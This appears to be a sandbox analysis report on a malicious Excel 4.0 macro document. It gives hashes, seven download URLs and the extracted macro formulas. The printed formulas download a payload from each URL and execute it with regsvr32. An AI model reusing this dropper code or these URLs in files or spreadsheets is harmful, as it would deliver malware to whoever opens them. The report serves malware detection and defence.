ca8b801c3972beea045d6a8670ad7c93c26fbdaf51fd7892c049b8e07fb35575

General

Target

ca8b801c3972beea045d6a8670ad7c93c26fbdaf51fd7892c049b8e07fb35575
Size

50KB
Sample

241120-n8kessxblj
MD5

651d494738af84de6122691367fb7f7d
SHA1

3b9fc5186d8a9b233449df3d4d044364e906800a
SHA256

ca8b801c3972beea045d6a8670ad7c93c26fbdaf51fd7892c049b8e07fb35575
SHA512

eecef52daf357af9800ca2956a2b642db987527bf2d7eb9e4cac553c23b7e2ec8bcf5fad269046497ef04a2cd0e69dd821b678d9c3231334c3e51229cd835b45
SSDEEP

768:Tx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:TXD9okncDSmSIBlGeuSEcm2h0BPu

Score

10^/10

Malware Config

Extracted

Rule

Excel 4.0 XLM Macro

C2

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

http://boardingschoolsoftware.com/backup/CtMR5Yi/

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

https://descontador.com.br/css/q5nrG6ua/

http://letea.eu/wp-content/3GgF4miFZTq9/

http://quoctoan.c1.biz/wp-admin/j8Zu/

Attributes

formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://centrobilinguelospinos.com/wp-admin/VrgzWT/","..\en.ocx",0,0) =IF('DEFGW'!G9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://boardingschoolsoftware.com/backup/CtMR5Yi/","..\en.ocx",0,0)) =IF('DEFGW'!G11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/","..\en.ocx",0,0)) =IF('DEFGW'!G13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/","..\en.ocx",0,0)) =IF('DEFGW'!G15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://descontador.com.br/css/q5nrG6ua/","..\en.ocx",0,0)) =IF('DEFGW'!G17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://letea.eu/wp-content/3GgF4miFZTq9/","..\en.ocx",0,0)) =IF('DEFGW'!G19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://quoctoan.c1.biz/wp-admin/j8Zu/","..\en.ocx",0,0)) =IF('DEFGW'!G21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\en.ocx") =RETURN()

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

xlm40.dropper

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

xlm40.dropper

https://descontador.com.br/css/q5nrG6ua/

xlm40.dropper

http://letea.eu/wp-content/3GgF4miFZTq9/

xlm40.dropper

http://quoctoan.c1.biz/wp-admin/j8Zu/

Extracted

Language

xlm4.0

Source

URLs

xlm40.dropper

http://centrobilinguelospinos.com/wp-admin/VrgzWT/

xlm40.dropper

http://boardingschoolsoftware.com/backup/CtMR5Yi/

xlm40.dropper

http://bsa.iain-jember.ac.id/asset/x0hMwOPVpkQSNoS8WCN/

xlm40.dropper

http://ctha.uy/cgi-bin/zGhvZLq6kSV1L1Vi/

xlm40.dropper

https://descontador.com.br/css/q5nrG6ua/

xlm40.dropper

http://letea.eu/wp-content/3GgF4miFZTq9/

xlm40.dropper

http://quoctoan.c1.biz/wp-admin/j8Zu/

Targets

- Target
  
  ca8b801c3972beea045d6a8670ad7c93c26fbdaf51fd7892c049b8e07fb35575
- Size
  
  50KB
- MD5
  
  651d494738af84de6122691367fb7f7d
- SHA1
  
  3b9fc5186d8a9b233449df3d4d044364e906800a
- SHA256
  
  ca8b801c3972beea045d6a8670ad7c93c26fbdaf51fd7892c049b8e07fb35575
- SHA512
  
  eecef52daf357af9800ca2956a2b642db987527bf2d7eb9e4cac553c23b7e2ec8bcf5fad269046497ef04a2cd0e69dd821b678d9c3231334c3e51229cd835b45
- SSDEEP
  
  768:Tx9D9onsXslSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KA0P4F:TXD9okncDSmSIBlGeuSEcm2h0BPu
Score

10^/10

discovery
behavioral1 behavioral2